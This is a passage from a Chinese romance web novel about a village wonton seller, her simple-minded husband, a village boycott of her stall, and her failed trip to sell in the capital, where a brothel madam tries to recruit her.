估摸他得罪了比他爹还要大的官儿,他惹不起人家自然把这笔账算在傻乎乎的裴照七头上。
平白无故冤枉人,她可不会让他们得逞!
再说了,真要把裴照七交上去,家里这些劈柴、生火、磨麦子的苦力活儿她找谁做呀。
这些小心思,陈窈藏在肚子里,自是不会同裴照七讲。
女人转念挽起裴照七手臂,往他身上小鸟依人般一靠,甜蜜蜜说:“当然因为你是我相公嘛!”
裴照七顿时心花怒放,扳过她的肩头,亲了又亲。
这傻子激动过头,陈窈差点喘不过来气,“……唔唔,你老实点睡觉。”
一夜漫长而过。
清晨,陈窈用过饭后没急于出摊,她找出小瓦罐子,把前几天买的药包放入罐中慢火煎煮。
药香缓缓从中四溢,空气中杂糅着苦涩的气息。
这服药陈窈每个月都要喝上一回,阻止裴照七送进来的千万子孙。
她不可想家里多养一口人,她可供不起。
“你喝什么呢?窈娘。”裴照七从院里回来,鼻尖嗅了嗅说。
“汤药。”陈窈没看他一眼,捏着鼻子咕噜咕噜顺下去。
裴照七哦了声,“又是来缓解葵水疼痛的吗?”
她之前同裴照七讲过,女子每月都会见红需得喝点药,而且这期间不能同房。
裴照七很好糊弄,相信了这避孕汤药是来对付葵水的痛苦。
陈窈擦了擦嘴边滴落的苦药,正准备出门,抬眼却看裴照七欲言又止地望着她,“怎么了?”
裴照七踌躇下,掰起手指说:“流血了?可……你还不到日子。”
陈窈:“呃……”
这家伙算钱不会,算她来葵水的日子倒是准得可怕。
她确实还差这么几日,但陈窈懒得和他解释,一口咬定说:“来了,你算错了!”
裴照七抓了一把头,继而不服地冲到院子去,双手急遽刨土,从松软的土中拉出一根细细长长的麻绳子。
陈窈跟在他身后都惊了!
平时看上去憨厚老实的男人,竟在她眼皮子底下藏秘密?!
裴照七还没意识到陈窈脸色已经不好了,拽着绳子给她算日子,“今天应该打一个结才对。”
陈窈瞥眼一瞅,顺着麻绳的结摸过去,她瞬间明白了裴照七的用意。
她不来葵水时他会打一个绳结表示,来葵水便是在一个结上再多打上一个,所以距鼓起来的绳结理应还有几日,这就是裴照七断定她没来葵水的原因。
陈窈眉心深陷,嗔怒他,“你好好地算这个做什么!”
没等他回答,陈窈倏尔反应过来。
裴照七日日算计她来葵水的日子,不就是为了与她夜夜欢好嘛!
真叫他一傻子煞费苦心!
面前的裴照七丝毫没意识到自家娘子的想法,自顾自念叨说:“窈娘,你要见红是不是有……”
陈窈一把扔掉这破绳子,大声叱咄他,“你的脑子装的全都是废柴,你就是个呆瓜!”
说罢,女人抬起馄饨车,掀起一阵小风,带着一身怒火走了。
剩下裴照七怔忡在原地,他望着陈窈决然的背影,呆了两刻,懊恼地嘟囔道:“好好的,她怎么生气了?”
陈窈从没和他发如此大的火,这还是成亲以后的第一次。
想起裴照七竟算计她,她肚子里就一团火。
平时两人虽也没少做那没羞没臊的事,但被裴照七摆在她面前说,她有种被傻子玩
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弄的感觉,心里非常不爽。
想着想着,陈窈擀面杖重重往桌上放,就像锤裴照七似的,“嘭”的一声,所有小馄饨全部散落在地。
陈窈心疼极了,连忙弯腰去捡,想着过一遍水还能凑合买半碗。
等再一抬眼,陈窈抱起沾染泥土的烂馄饨,这才发觉不对劲。
眼前的馄饨摊哪儿有以往门庭若市之景,一阵风呼啸而过,卷扫这片空荡。
四处无一人闲逛,只有柳枝随风摇曳,萧瑟得很。
陈窈冷笑,只怕村长已和村中所有人打过招呼,不许买她这里的馄饨,大家仗着村长在村中的势力,不敢不从。
这就是村长所说的祸吧?
她得罪了村长,村长以牙还牙,断然不会让她好过。
陈窈索性收拾东西回家,她也该休息休息了。
没有夕阳的小径是竟如此凄凉,陈窈推着只轻了一碗馄饨的推车,心里难免五味杂陈,不知这样的日子要持续多久。
进了家门,陈窈没见裴照七人影,许是去山林间伐木回来劈柴,她眼尾微垂,丧气地将空空的钱袋放进柜头。
关上柜门的手一顿,不知想起什么陈窈再次拉开,拿出另一个匣子,她指尖轻点里面序列整齐的铜币,仔细清数起她攒下的积蓄。
陈窈每月会把赚的钱分三份,一份供房钱,一份日常吃穿,还有一份存起来,这里的钱是断然不能动的。
算来算去,没了收入,这钱是撑不了多久的。
陈窈不敢太挥霍,晚上她去院子前的菜地撅了几棵蕨菜,简单煮了一碗……
两碗菜糊糊粥。
她还不至于因为生气,饿死一傻子。
陈窈正吃着饭,裴照七从外头回来了,白净的脸上全是灰。
陈窈只堪堪赏了他一眼,舀起碗中的稠糊的菜粥,就是不放进嘴里一口。
真是应了那句“傻人有傻福”,明明都灰头土脸了,却依旧不改半分俊朗,还多了几丝怜惜。
裴照七见她有意不理他,知趣地作罢,盥了手坐在她身边用饭。
平时大口喝稀饭的他,今日都小心翼翼,生怕不知自己哪个举动惹到陈窈,更何况她还来着葵水,裴照七更是一小口一小口送进嘴里。
陈窈视若无睹,小小一间屋头有过从未的安静。
夜幕压过枝头,陈窈先他一步就寝,一口气吹灭了油灯。
换裤子的裴照七顿时摸黑,差点被两条长长的裤腿绊住。
……
裴照七默默抓瞎着换好了衣裤,随后战战兢兢地掀起被角,轻手轻脚钻了进去。
他刚躺下,陈窈就往里挪了挪。
裴照七:“……”
陈窈还在气头上,要不是家里地方小不允许,她早不和他挤一张床上受别扭了。
她闭眸酝酿睡意,这时身后一小阵窸窣慢慢向她靠近。
直至整个身子牢牢贴上她的背部。
陈窈再也无法压制怒气,就在转身发作时,一只温热的手掌覆上她的腹部,然后小幅度地打圈。
很轻、很慢。
也很舒服。
他这是在……给她揉肚子吗?
“这样会好点吗?”裴照七鼻息埋在她颈后,沉闷的声音传来。
陈窈还没弄懂他的用意,紧接着他又说道:“我把绳子扔了,因为窈娘不喜欢,但我会记不清你来葵水的日子……那我每天都给你揉肚子,你就不疼了!”
一瞬内疚涌上心头,原来裴照七记她葵水的日子是为了给她揉肚子。
错怪他了。
陈窈这才回想起,每月来葵水的那段时日,她醒来都会被他遒劲有力的手臂圈住。
见她许久不讲话,裴照七讷讷地追问:“好不好呀,娘子?”
陈窈说:“不用。”
裴照七略呈怅然的语气“哦”了声。
“以后我都告诉你。”
陈窈微微扭过头,嗓音似在凉水中沁过般消暑,滋润万物。
裴照七眼神一下有光,点头应她,“好。”
许是一天的失意,陈窈此刻心里很暖,她决定以后对裴照七好些。
5. 被赶
接下来几日,陈窈没再把裴照七当驴使唤去拉磨,对他比之前好太多了。
悠闲的时光里,两人去院后的田地里抓蝴蝶。
陈窈回眸看了眼裴照七,人高马大的男人面对眼前成群的蝴蝶,兴致阑珊,他伸出手去够,可蝴蝶却一只只地从他手心溜走,硬生生地抓不到一只。
裴照七气急得直跺脚,双眉皱成一个八字。
见此情此景,陈窈忍不住笑弯了腰,而后她眉毛挑起,眼底微光一闪。
只见陈窈双手忽地对着空气紧紧相扣一起,故意装模作样,引得裴照七一脸期待地凑近瞧。
然后……她缓缓打开双手,却不见什么蝴蝶,只有一团泥巴摊在她手心。
裴照七想不明白蝴蝶怎么变成泥了,他咕哝道:“不见了……”
下一刻,陈窈双手“啪”地朝他脸一抹,黑乎乎的泥瞬间挂在男人显疑惑的颊边。
“?”
裴照七愣了下,随即反应过来自己上了当,追上落荒而逃的陈窈,口中大喊,“娘子,你坏!!!”
陈窈提起长裙,鲜艳的一抹粉淹没在一片绿油油的玉米地中,嬉笑地朝他一笑,“有本事抓到我呀~”
裴照七腿长个高,迈一步快赶上陈窈两个步子,追上她容易得很。
两人在高高的玉米中,嬉闹穿梭,你追我赶。
裴照七跑在她身后,大臂一捞,轻松环住她纤纤腰肢,压到自己怀中,用脸上的泥巴去蹭她的小脸。
“错了我错了,不戏弄你了!”
迎着他的呼吸,陈窈痒得不行,示弱道。
“窈娘,你脸和我一样了!”裴照七搂住她,垂眸盯着女人的花脸,很是得意地说。
“咱们是一家人,能不一样吗?”陈窈锤了下他硬鼓鼓的胸膛,一脸娇嗔。
也不知道怎么就击中了裴照七似的,他拦腰抱起陈窈,转了好几圈,强壮的手臂一抬,陈窈像在怀中像轻飘飘的柳枝般被他抛了起来。
可给陈窈吓一跳,要是他一不小心没接住她,摔在地上,不知要花多少银子。
“啊啊啊啊!好了!你快把我放下来!”陈窈花容失色,本搭在他肩膀的手一抖。
“我不会让你摔的!”他嘴上虽这么说,但也没真敢再折腾,老实地转了几圈就将她放下。
与此同时,院中的另一头。
“真是吵死了。”吴春蔓撑了撑额角,心烦意乱地扫视过去,“也没个消停。”
庞氏坐在木凳上掰豆橛子,头都没抬起,“嫌吵回屋去,别在这儿干怵着。”
儿媳有了身子,娇气得不行,这弯不下腰了,那吃不得了,不知道的还以为她赵家娶了位公主进门呢。
“娘?什么声音?”赵黔从帘后走出。
庞氏看到儿子出来,立即换上笑脸起身,“是不是她们吵到你读书了,娘这就去跟她们说!”
被差别对待的吴春蔓心里不是滋味,她被吵得闹心庞氏就让她忍,果然是自己亲儿子!
赵黔这才注意到身后的陈窈二人,女人笑得明媚大方,胜比山峦上的落日霞辉,小巧依偎在男人肩头,甜蜜溢出眉心。
“不用了娘,我出来透透气。”赵黔收回视线,叫住要出去的庞氏说。
“好,你歇歇,饭马上好。”庞氏脚步一顿,笑着说。
赵黔没急着回去,对庞氏说:“村长既然给了钱,咱们就别收陈窈的钱了。”
庞氏没想到赵黔会说这个,愣了下。
吴春蔓顿时不乐意了,声音大起来,“相公,你不会……”
庞氏不想因为这些无关的小事打扰他考取功名,赶紧按住吴春蔓,点头答应下,“你只管读书,这个不用操心,给了便不会难为她。”
赵黔点了下头,撩起帘子回屋去了。
等他走后,吴春蔓再也按捺不住了,“不能不要啊!村长给咱们的是要和陈窈划清界限,而陈窈给咱们的是房钱,只要她住一天,就要付一天的银子!”
庞氏白了她一眼,坐下跷起腿,慢悠悠说道:“合着就你聪明,我傻,不知道这个理儿?”
吴春蔓愣住:“婆母这是……?”
“那是说给我儿听的,我还真能不收陈窈的钱?”庞氏正色,训斥她说:“我告诉你,家里的事少给我儿吹枕边风,让他静下心读书才是真真的!”
“我……我肯定不会说这些家长里短。”吴春蔓虽面上挂不住,但还是忍了下来,迎着笑说:“婆母精明,我帮您撅。”
庞氏哼了声,瞟了她这没出息的样儿。
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陈窈也是没想到,庞婶真会厚着脸皮管她来要房钱,这不相当于明面上撕破脸皮吗?
庞氏只认银子,不同这些相处门道,她还专带了个新的钱袋子来敲陈窈的门。
陈窈忍无可忍,眉尖皱了皱,“庞婶,这就有些过分了吧,你两头吃啊?”
“我也不怕告诉你,你这馄饨在花颐村左右是卖不出来了。”庞氏大手一挥,高高在上地说:“咱们村采买的路费全被村长免了,没人敢捧你的场。”
陈窈一开始不确定,村长只是在花颐村小有银两,但想用银子笼络全村人的心却是远远不够的,原来竟是用采买换的。
村中的采购都是由村长家的牛驮着回来,村长受累去村中跑一趟,大家看着给银子,一人无多少但积少成多,也是丰厚的油水。
他们要断了她的路,真是煞费苦心啊!
陈窈忍着性子,平息道:“庞婶子,我要是心一横真走了,你舍得让你儿子儿媳去做苦力?”
“用不着拿这些威胁我,你前脚搬,空出的这间屋正好给我孙儿!”庞氏有了银子,不吃她这儿一套,眉毛一横道。
陈窈被她气得下唇微颤,双拳紧捏。
“要怪只能怪你自己,得罪了不该得罪的人!”庞氏最后丢下句话,转身走了。
陈窈受了一肚子气,愁着眉“砰”地一声关上了门。
她看了眼匣子里的银子,比上次打开时空了一半,钱只出不进,再这样下去她真要撑不住了。
想着想着,泪如断了线的珠子吧嗒吧嗒地滴落,每一颗都充盈她的心酸和苦楚,不知不觉陈窈呜咽声越来越大。
“窈娘,你怎么哭了?”
裴照七从外面伐木回来就见陈窈垂着头,他赶紧跑过去蹲下,缓缓捧起她的脸,指腹擦去她脸颊上的泪,轻说。
陈窈模糊的视线中出现裴照七的面庞,她像是找到一个依靠,双手一伸,脑袋埋进他宽阔的胸膛,哭的更大声了。
“呜呜呜~”
裴照七身躯微微一震,胸口处飘来一阵荡漾。
随后男人眸光深了深,一把托起她的臀,让女人两条腿盘在自己腰身,抱坐着陈窈去床上,边拍她的背边柔声低哄——
“窈娘不哭,你哭我会心疼。”
6. 望月楼
大片泪水浸湿男人的肩头,陈窈哭了好一阵子,才抽泣着抬起头。
她本就生得极美,长长的睫尾挂着晶莹的泪珠,眼角红晕,被泪痕斑驳的面尤为楚楚可怜。
裴照七眼底溢出心疼之色,轻柔地用唇拂过她的脸颊,替她擦拭眼泪。
“都是你的口水。”还没亲两下,陈窈脸一侧躲开,略显嫌弃地抹了把脸。
裴照七一顿:“……”
他不听,使坏地去蹭她脖子的痒痒肉。
陈窈这下笑了,“好了好了。”
见她终于笑了,裴照七言归正传地问,“窈娘为什么哭,谁欺负你了?”
“我……”陈窈对一傻子说不出来自己的委屈,她沉吟片刻说:“我想你了,眼泪不由自主地掉了下来。”
裴照七:“……”
骗人。
陈窈就算说了这傻子也给不出任何有用的出路,何必白费口舌,不过有裴照七陪着她,她好像也没那么难过,“相公,有你在真好呜呜呜~”
说着,陈窈哼唧着扑在男人硬实的肩,灼热的心跳与他仅仅依偎。
女人这般软软的身子向他涌来,裴照七心尖都被她这一抱融化了。
男人顺势揽住她纤纤腰肢,清澈如月的眸光顿时变似墨一般沉,扣住女人脊骨的指腹摩挲。
嗯……没骗人。
两人就这么紧贴着彼此,也不顾天气的炎热,相拥了好一会儿。
裴照七拍了拍她的脑袋,又问:“娘子,最近没出摊都是因为想我吗?”
陈窈抬起头来,摇头说:“那倒不是。”
裴照七:“……”
“因为……”陈窈吸了吸鼻子说:“花颐村的人最近不喜欢吃馄饨,我就没出摊。”
太复杂的她就算说了这傻子也听不懂。
裴照七脑子直来直去,没深究她的话,“那你去花二村、花三村、花四村啊!总会有人喜欢吃我家娘子包的馄饨。”
陈窈被他逗笑,“哪有二三四村啊?”
等等?
陈窈眸子转了转,一经裴照七提醒,她脑中忽闪出一主意。
花颐村一小小村落容不下她,她可以去别的村,甚至城里——嬅京。
这办法是可行,但城中的贵人都是见过世面,她包的小小馄饨不知能入他人眼吗?
可如果再继续坐以待毙地等下去,全部的家底迟早要花光,不如闯一闯!
陈窈决定了,明儿个她去城中!
裴照七听完后,表示支持,“窈娘,有什么我能帮你的吗?”
陈窈凝眸看他,一傻子能帮上什么忙?
别说,还真有一个忙。
陈窈眼神坚定对裴照七说:“今晚不准你碰我!”
裴照七:“……好。”
翌日一早,天色将将亮出头。
陈窈起床,收拾馄饨小车,她带得混沌不多,一来路途遥远不便携带太多,二来她对城中不熟,拿捏不好他们的口味。
裴照七帮她装上车,还塞进去几块干粮,不叫她在路上肚子,然后说:“窈娘,你何时回来?”
这个陈窈可不好说,她指了指地下摆的一堆木柴说:“你把这些劈完我就回来了。”
裴照七有些失落,因为这小把他不出半刻钟就能劈好,但他为了不耽误窈娘,还是笑着说:“好,我等你。”
陈窈与裴照七挥手告别,推着车从花颐村出发了。
太阳缓缓升起,几缕阳光穿透晨间薄雾,尘埃浮动,淡出散光后的两道人影。
庞氏眯起眼来,瞧着陈窈离去的背影说:“她要出村去卖?”
吴春蔓一听,捂着嘴笑,“娘,你说什么呢?”
庞氏说完,才发觉自己说了什么。
两人对视,不怀好意地笑了笑。
吴春蔓敛了敛笑,“她到城里不会挣得比现在还多吧?”
她最担心这点,陈窈要是真挣得盆满钵满,风风光光地从外头回来,那真是又美又会挣银子,这样的女人不叫人惦记才怪呢!
“说不好,城中的人不一定喜欢她这副脸皮。”庞氏也没去过城里,她只不想让陈窈如意。
“万一喜欢她的馄饨呢?”吴曼春担心道。
“她那馄饨我尝过,当真是一点味儿都没有,清汤寡水,用刷过锅的水煮都比她做的强。”庞氏刚来时,陈窈用馄饨招待过她,当时要不是为了房,她才不会给面子呢。
这话听到吴春蔓耳朵里,就是陈窈即将要搬走,要露宿街头,要以乞讨卖艺为生了。
吴春蔓嘴边泛起一丝冷笑,“她有苦头吃了!”
——
嬅京。
车马骈阗,花天锦地。
陈窈穿梭其中感受更多的是富贵和繁华,她感觉两只眼睛都快看花了,路过发钗店铺门口,一晃而过的金钗比天上的星星还耀眼。
陈窈垫了下用手便能摸出的钱袋,她收起心思,抹去额头上的汗珠,继续往前走。
来到一处街边,两旁全是像她一样的小贩吗,陈窈学着大家的样子,靠在一家干饼摊旁支起大锅。
然后,她便开始等。
……
等到快申时了,屉中的馄饨都快被日头晒得软趴趴了,也不见一人来光顾。
眼前路过的男男女女不是去买糖人,就是从布铺中领着大小
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包的绸缎出来,左右不在她的摊前停留半分。
陈窈头顶着烈日,实在太热了,感觉再待一会儿她都快倒地了。
正准备收拾推车回去时,一位男人上前问:“你这馄饨多少钱?”
可算盼到一个人了,陈窈明眸亮了亮说:“二十文。”
男人瞠目,感到不可思议,“多少?望月楼的馄饨一份才二十文,我瞧你是新来的吧。”
陈窈没听过什么楼的,她问:“那你们这边卖多少钱?”
男人兴致很高,索性与她多讲了些,“像你这样,连个店面都没有的小摊一般是五文,如果是望月楼中有歌有舞二十文很值。”
“开个楼就能卖二十文了吗?”陈窈对城里的规矩不懂,讪讪地问。
男人听完直接大笑,大发善心般同她讲:“哈哈哈望月楼的馄饨有种特殊香,不是楼不楼的事儿。”
“啊?”陈窈听完眉心一蹙,更是一头雾水了。
难道那个楼里放了与众不同的香料在馅里,她要不要去买一碗尝尝味儿?
陈窈思绪飘远,压根没瞧见面前的男人正斜乜着眼,上下打量着她。
她虽穿着粗布麻衣却依旧盖不住她窈窕的身段,露出的小片肌肤堪比瓷白盏莹透,微皱的眉下的一双娇滴滴的媚眼,不由让男人刚在二楼注视了半晌,这才忍不住下来与她搭话。
随后,男人悠悠地从口袋处掏出一锭银子,颇为浪荡地说:“小娘子?你不如跟着我吧,以后就不必再风吹日晒地卖馄饨。”
陈窈听到他这话本愁苦的双眉一横,双目怒瞪,“就算我没成婚,也断然不会给人做妾,你若不是诚意买馄饨,不要穿着个□□衫在我眼前晃!”
男人顺着她的视线瞅了眼身上的金蟾祥纹,这是他专门找绣娘的样式,象征的吉祥财气的金蟾蜍,怎么到她嘴里变得一文不值。
“……”
陈窈愤然,迅速收拾小车,她人虽穷但志不穷,不至于为钱信了男人的鬼话,她推小车的步伐愈发快,想去望月楼的决心也愈发坚定!
一路上走走停停,终于打听到望月楼在哪儿了。
陈窈将车与一棵槐树拴在一起,她拍了拍衣裙上的尘土,用帕子擦了把汗,又摘了一株红花,在手心中反复捻出汁水,红色的水浸染指尖,她轻蘸在脸侧几处。
至少看上去落落大方,不似村中劳作的农妇。
望月楼前,好多穿着华贵的男子喝得烂醉如泥,被好多女子搀扶着走,还有几个看上去清醒的男子,搂着女子腰的手却一点都不老实。
好像是……风花雪月之地。
陈窈捏紧袖口,在门口踌躇着要不要进去。
7. 回村
陈窈站在川流不息的街道中,风划过她的面庞,耳畔扬起的几根碎发如飞舞的花瓣,只不过灿似明星的眼眸却带有一丝生怯怯。
富贵迷人之景晃于眼前,陈窈这时看了眼她的馄饨小车,透过上面的锈渍与补丁,她仿佛看到庞婶对她落魄后的神气和得意。
比起这些她似乎更怕空手而归地回村。
随之,陈窈一咬牙,迈步跨进门槛。
楼面的景致更是别样风光,女人欢声笑语和男人秽言污语的交织,仿佛司空见惯般。
陈窈身在其中格格不入,很快便引起了大家的注意。
这时一名身着艳色,头点缀一朵硕大牡丹的女人出现在她身边,她轻拍陈窈的肩膀说:“这位娘子来我们望月楼有何贵干?”
陈窈被她一身香脂水粉扑面,差点没喘上气来,支吾着言:“我……”
这位女子身后还站了三五名和她穿得一样的女子,几人用绣帕掩着嘴,窃窃私语起来。
“看她的穿着,定是来这儿寻自己家相公的。”
“诶,也是个可怜之人。”
“还是问问吧,要是她相公也如这般寒酸,咱们不如做个好人,送个人情。”
“不过,这位娘子生得真好看,可惜遇上了个负心汉。”
“好看什么啊?牡丹姐姐,怎么不赶她走啊,可别耽误咱们开张!”
“……”
陈窈离得远,自然听不到她们言语中的轻蔑。
她微微颔首,低声说:“我想来碗馄饨尝。”
此话一出,牡丹还没说什么,身后最为伶牙俐齿的姑娘,她摆着裙尾站出来,故意挑逗般说:“我们这里卖艺卖身,就是不卖馄饨!”
话落,几个姑娘发出清脆爽朗的笑声。
陈窈低垂眼眸,羞红了脸。
二楼拐角处,一道铿锵的声音骤然响起,顿时打破楼下的僵持,“吵些什么呢?一个个都不干活儿,聚在这儿干什么?”
几位姑娘收起笑容,规规矩矩地退步,欠了欠身子,异口同声地道:“凤姨好!”
名叫凤姨的女人,穿戴比这里的姑娘们都要华贵。
她扫了眼面前的陈窈问:“她来做什么的?”
一旁的牡丹上前回:“她想来碗馄饨吃。”
凤姨稍微赞赏的视线在陈窈这张脸上停留了片刻,随后笑了笑,好说话地吩咐下去,“不就一碗馄饨嘛,好说!你带她去二层雅间,上碗馄饨给她。”
陈窈欠了欠身:“多谢。”
众人散去,凤盛仙望着陈窈去二楼的身影,嘴角不明所以地勾了勾。
她刚才在楼上看了全程,这位娘子真是难得一遇的美人。
凤盛仙在嬅京开店数载,屹立不倒的原因之一便是她那双独具慧眼的厉眼,只要经过她手中的姑娘无一不比花还美。
况且还是陈窈这种天资,媚而不自知的女人,她不想错过这棵摇钱树。
陈窈跟着牡丹姑娘上了二层雅间,不多时,滚着热气的馄饨端上桌。
屋内陈窈一人,她倒了杯水,局促的心渐渐缓和下来。
目光落到眼前的小碗馄饨上,玲珑小巧的碗飘着肉眼便能数得清的混沌,真是精致啊。
陈窈舀起来放进嘴中,仔细品尝。
没尝出什么香来,只是一碗普通不过的馄饨罢了。
陈窈没吃几口,她打开一扇窗透透气,不巧被楼下别样的风景吓到。
载歌载舞的声中,女人坐在男人的双腿,前胸压在男人坚实的胸膛上,手中拿着一碗和她一模一样的馄饨,一口一口地喂进男人嘴中。
陈窈:“……”
她终于知道这馄饨到底哪里有香了。
来者吃的不是馄饨,而是覆着女人香的佳品。
陈窈撇过头去,立马阖上窗,坐在椅上一筹莫展。
她耍得那点伎俩在花颐村还能挣到银子,要是更大的城里需得进烟花柳巷。
陈窈叹了叹气,她还没到出卖自己身子来赚银子的地步。
许是嬅京不适合她乡间丫头来闯荡吧,她准备付了钱馄饨钱就走。这时,“咯吱”一声门响,凤姨携着风款步走来。
她坐在陈窈对面,手中轻摇一把绣有仙鹤祥纹的团扇,柔声开口:“姑娘,馄饨吃得怎么样了?还算可口吗?”
“嗯。”陈窈礼貌性地点头,随后拿了二十文钱放在桌上,不想多做停留,“谢谢款待。”
凤姨眉梢一翘,指尖将铜钱往前轻推,轻笑道:“这碗算我请你。”
天下没有免费的午餐,这个道理陈窈明白。
陈窈没急于去拿桌面上的钱,反问说:“凤姨帮我解围,陈窈记在心上,但……敢问凤姨何求?”
凤姨展颜一笑,她刚找人去寻了,知道陈窈是从别村来卖馄饨的,一路上辛苦推着小车而来,却不想一无所获。
这样一位玲珑女子,别人慧眼不识,可她风望仙是个惜才之人。
“我最喜与姑娘这般聪慧之人打交道。”凤姨敛目,收起摇晃的扇子,正色说:“我见姑娘长得端正,不如来望月楼中卖馄饨……”
话还未说完,陈窈冷冷地打断她,“但要坐在别人腿上。”
风姨面不改色道:“望月楼不做亏本生意,来我这儿予你而言益处多多,可别浪费你这般绝色皮囊。”
“我是不会……”陈窈义正词严地拒绝,
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却被凤姨打断。
“不要着急拒绝我嘛。”凤姨将一支钗环放在她眼前,笑了笑说:“等你想好了,可以随时来找我。”
陈窈从望月楼出来,手里握着凤姨给她的珠钗,长长的流苏垂落,澄莹的宝石闪着光彩,玲珑巧致。
“想通了就带着这根钗子来找我!”
凤姨的话回荡在她耳畔,不过她想,这辈子她都不会再踏进望月楼一步。
陈窈缓缓回头,迎着夕阳西下的淡光,最后望了眼这偌大的嬅京,才短短半日真迷人眼。
但她深知,花颐村才是她的家。
就当繁华市井中的一座海市蜃楼,大雾散去,她也该走了。
陈窈转身,抬眼就见槐树下,一道熟悉的影子向她奔来。
“娘子!娘子!我终于找到你了!”
陈窈揉了揉眼,望着不该出现在这里的裴照七,愣了愣神说:“你怎么来了?不是叫你在家等我吗?”
裴照七喘着气跑到她面前,平复胸膛起伏,有些委屈地说:“我柴都劈完了好几堆了,都不见你回来。我担心你,就来……来了。”
“可……可你怎么找到我的啊?”
陈窈想不明白,她来嬅京的路都是走一步问一步的,有时走小路有时走大道,她一路走过来的都费劲,更别说傻里傻气的裴照七了。
“我路上问阿嬷阿伯他们,有没有见过一位貌似天仙的女子,他们都说见过给我指路,我就找到你了!”裴照七扬起下巴,嬉皮笑脸地说。
“少哄我开心。”
陈窈嘴上说着不买账,但在累了一整天,见裴照七不辞辛苦来找自己,唇边还是忍不住弯了弯。
裴照七跟着她笑了笑,继而说道:“窈娘,咱们的馄饨卖出去了吗?”
陈窈垂眸,轻“唉”了声说:“我回去和你说吧。”
“咱们回家!”裴照七牵起她的手往前走,两人刚走两步,陈窈脚下步子一顿。
“怎么了,娘子?”他回头问。
陈窈推着车走了一路,脚趾尖被布鞋头给磨破了,去望月楼时她就已经痛的不行了,为了让人看得起,她硬是忍了许久。
本想着去买双舒服的鞋,既然裴照七来寻她了,这笔钱她果断省下。
陈窈昂起脑袋,泪眼汪汪地道:“相公,我走的脚疼~”
裴照七见状,哪还舍得让自己家娘子受累,没半点犹豫地蹲在她面前,宽阔的背肌似连绵的山海般,“窈娘,上来我背你!”
陈窈:“不行。”
裴照七转过头去,双眼迷茫:“嗯?”
陈窈眨眨眼,指了指一旁的小车,“还有它呢。”
……
8. 上药
男人双臂的肌肉绷起,在烈阳下推着馄饨小车前行,车上载着陈窈,她不时用帕子为他擦拭汗水,两人就这样依着余晖慢悠悠地回到了家。
陈窈从车下来时腿都坐麻了,她松了松腿后,把小车收拾好才回头找裴照七。
裴照七早就累得不行了,他坐在木凳用竹扇扇风,汗似雨水般浸湿衣衫,流利的线条隐隐约约透出。
相比起陈窈,她一身轻松,甚至在车上打了个小盹,要不是车轮子不小心碾过石块,她还能继续睡。
陈窈倒了杯水递过去,“累不累啊?相公。”
“不累。”裴照七接过,一扬脖全喝进去。
陈窈知道他一路上驮着她辛苦,打算明日补偿他,多陪陪他,“我明天在家陪你,好不好?”
明天?
裴照七乌黑的眼眸眨巴了下,望着她说:“窈娘,你明天不在城中卖混沌了吗?”
“嗯……城中的人不喜欢吃我的馄饨。”陈窈不可能全和他讲的,尤其是她在望月楼发生的事。
裴照七:“窈娘试试卖别的呢?”
陈窈摇头:“我只会做馄饨。”
“对了。”裴照七忽然想起,急匆匆地道:“窈娘,你脚伤好些了没?”
说起这个,陈窈都快忘她脚还受着伤呢。
正想看看自己的伤势如何,裴照七却先她一步,有力的臂在她腰间一环,轻柔地将她抱到桌上。
裴照七半跪着按住她脚踝,放在自己膝盖上,替她脱去两只布鞋,露出一双极为秀气美足,美中不足的是脚尖破皮的红肿,几个趾头无一幸免。
陈窈都惊了,本以为现在不疼了应该没事,结果这么严重。
她赶快吩咐裴照七,“你去罐子里拿些三七粉来。”
裴照七拿回来时,手中还多了一块布,他将粉散在伤口处后又小心翼翼地包裹起来,轻松地打了个结,最后用剪刀一剪。
等他做完这一切抬起头时,发现陈窈目瞪口呆地盯着他看。
裴照七歪头,“娘子?”
陈窈感到不可思议,这还是她那一天到晚只会劈柴的相公吗?
她收了收下巴,缓缓说:“你被邪祟附身了?”
裴照七:“……”
陈窈:“你过来?”
裴照七不知何由,只一副呆呆地样子照她说得做。
男人身影骤然立起,似严寒中的柏树傲然挺立,斑驳的木桌落下一道影子。
陈窈从袖中翻出两颗花生豆,捏起一颗放他眼前问:“这是什么?”
裴照七不假思索:“银子。”
陈窈放心了,舒了口气:“嗯……是我相公。”
裴照七:“……”
“窈娘,你怎么了?”
陈窈微扬下巴,狐疑地盯着他脸,“你还会给人上药包扎?”
她刚才都吓死了,看着裴照七熟练地给她包扎伤口,她还以为裴照七忽然不傻了呢。
“我看你之前就是这样……”裴照七顿了顿,清澈的眼底宛如一汪湖水,不应有假,“我也想照顾你。”
之前?
陈窈想起来了,那是很早很早之前了。
当年她救起奄奄一息的裴照七后,每日每夜地照顾他。但碍于俩人都没成婚,陈窈不敢在青天白日里大胆地给他上药,孤男寡女共处一室,她还要扒开他的衣服,盯着他裸露的肉。
陈窈光是想想脸就红得不行,只好等裴照七睡着了,她再偷偷给他换药。
这样的话,裴照七在她的眼里顶多是半具尸体,算不得什么男人。
不过嘛……听裴照七现在这番话,她反应过来,皱眉道:“你当时没睡着啊?”
裴照七挠了下头,如实回答,“本来是睡了,但一碰药就被疼醒了。”
陈窈听后,缓慢点了点
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头。
虽有点娇羞,但这也倒情有可原,她还没细想这里面的来龙去脉,就被裴照七打断思绪,“娘子,这几日你好好在家休养吧,换我来照顾你。”
陈窈随意地将脚搭在他肩上,娇气一哼,“你个傻子能做什么?”
裴照七较劲,目光坚定,“我才不傻呢!”
“行行行,你不傻。”陈窈拧不过他,就当他随口说说,又盯起自己的两只脚尖来。
别说裴照七包的还挺有模有样,像个小白蘑菇一样长在她的十趾,显得她的脚踝又细又白。
陈窈视线缓缓往上一挪,裴照七身影映在淡淡的光里,她不由多停留了会儿。
不知什么时候,裴照七身上的汗落净了,他卷起的袖口下,展露一截精壮的小臂,凸显的经脉似几条青龙盘旋。
“相公?”她轻声唤裴照七,比往日里多了几丝柔情和戏谑。
“嗯?”裴照七仰头,还是一副傻愣的模样。
“天都黑了,还不快抱我去睡觉?”陈窈似笑非笑,媚眼如勾,好整以暇地张开双臂等他来抱。
裴照七眼睛一瞬亮了,像是吃到蜜罐的孩童,单臂揽住她细如游蛇的腰,抱起就往床上走。
陈窈拥着他的脖颈,鼻尖有意无意地去探他凸起的喉结,炙热如漆似火般铺洒。
男人手掌托着她的臀,将她轻柔地放在床上,俯身唇对唇亲了亲她。
陈窈两条玉臂顺势攀上他结实的背部,宛如灵巧的小鱼与他身上游荡、缠绵。
